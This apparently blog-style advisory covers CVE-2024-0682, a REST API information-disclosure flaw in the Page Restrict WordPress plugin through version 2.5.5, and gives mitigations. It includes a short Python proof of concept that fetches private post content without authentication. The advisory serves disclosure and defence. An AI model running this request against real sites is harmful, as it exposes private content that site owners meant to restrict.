CVE-2024-0682: Information Disclosure Vulnerability in the Page Restrict Plugin for WordPress, Versions up to 2.5.5

WordPress is an incredibly popular content management system (CMS) that is used by millions of websites worldwide. Unfortunately, the popularity of WordPress makes it an attractive target for hackers, so it's important to be aware of vulnerabilities affecting the platform and its plugins. One such vulnerability, which has been assigned the identifier CVE-2024-0682, affects a WordPress plugin called the "Page Restrict" plugin. In this post, we will look at the specific vulnerability, how to exploit it, and what you can do to protect your site.

Description of the Vulnerability

The Page Restrict plugin for WordPress, which is designed to help users protect specific pages on their website, is vulnerable to information disclosure. This issue affects all versions of the plugin up to, and including, version 2.5.5. Essentially, the plugin fails to properly restrict access to pages via the REST API when a page/site owner has marked the page or post as "private." This allows unauthenticated attackers, or those without the proper permissions, to view the content of these protected pages/posts.

The Exploit Details

The exploit works by abusing the REST API and sending a specially crafted HTTP GET request to the WordPress site. An attacker can use this vulnerability to reveal sensitive information, such as page content, author name, timestamps, and other potentially sensitive information. Here's an example of a code snippet that demonstrates this exploit:

import requests

# Update the target URL to your WordPress site
target_url = 'https://www.example.com/wp-json/wp/v2/posts/';
private_post_id = 123  # Replace 123 with the ID of a private post on your site

response = requests.get(f'{target_url}{private_post_id}')

if response.status_code == 200:
    print("Private post content:")
    print(response.json()['content']['rendered'])
else:
    print("Failed to access private post content.")

When executed, the above Python code sends an HTTP GET request to the WordPress site requesting the content of the specified private post. If the Page Restrict plugin (version 2.5.5 or below) is installed and active, the request will return the content of the private post, despite the fact that the attacker is unauthenticated.

Here are some links to original references regarding this vulnerability

1. WordPress Plugin Vulnerability Listing
2. CVE-2024-0682 Details

To protect your WordPress site from this vulnerability, you should take the following steps

1. Update the Page Restrict plugin to the latest version (if you are using it). This vulnerability has been patched in version 2.5.6 of the plugin, so updating to the latest version will mitigate the risk.
2. Consider disabling the REST API if you don't need it for your site. Doing so will add an additional layer of security by preventing unauthorized access to your site's data via this API. You can do this using a plugin such as Disable REST API or by modifying your site's .htaccess file to include the following rules:

# Block WordPress REST API requests
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/wp-json/ [NC]
RewriteRule .* - [F]
</IfModule>

3. Regularly check for updates to your WordPress plugins and themes in order to stay protected from new vulnerabilities.

Conclusion

WordPress site owners should be aware of potential security risks, like CVE-2024-0682, which exposes private content on sites using the Page Restrict plugin (versions up to 2.5.5). By updating the plugin to the latest version and following the general security best practices outlined above, you can work to protect your site from this and other vulnerabilities.

Timeline

Published on: 02/28/2024 09:15:41 UTC
Last modified on: 02/28/2024 14:06:45 UTC